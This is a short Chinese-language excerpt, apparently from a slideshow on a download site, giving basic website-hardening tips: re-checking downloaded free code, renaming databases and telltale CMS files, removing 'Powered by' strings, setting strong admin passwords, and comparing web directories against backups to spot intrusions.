使用Windows传统风格文件夹,显示所有的文件和后缀名。 保证Web安全。 a.对网络上下载的免费代码需要反复检测。 b.对数据库要进行改名,设置强壮的管理员密码和修改复杂的数据库表名。 C.删除管理系统的特征字符(如动力文章的“Powered by:MyPower Ver3.51”),如有可能更改特征的文件名,如显示文章的Article_Show.asp,可改成其他没有特征的文件名如“xxssh.asp”(需要注意跟此页面关联的页面连接也得更改成新的文件名)。 d.使用文件比对软件如 Beyond Compare查看 Web目录有程序文件与上传备份文件对比,判断有无被入侵者更改。文件比较 Windows漏洞的安全扫描工具 第3章结束!UDl红软基地

PPT分类Classification

Copyright:2009-2024 红软网 rsdown.cn 联系邮箱:rsdown@163.com

黑ICP备2025041396号-1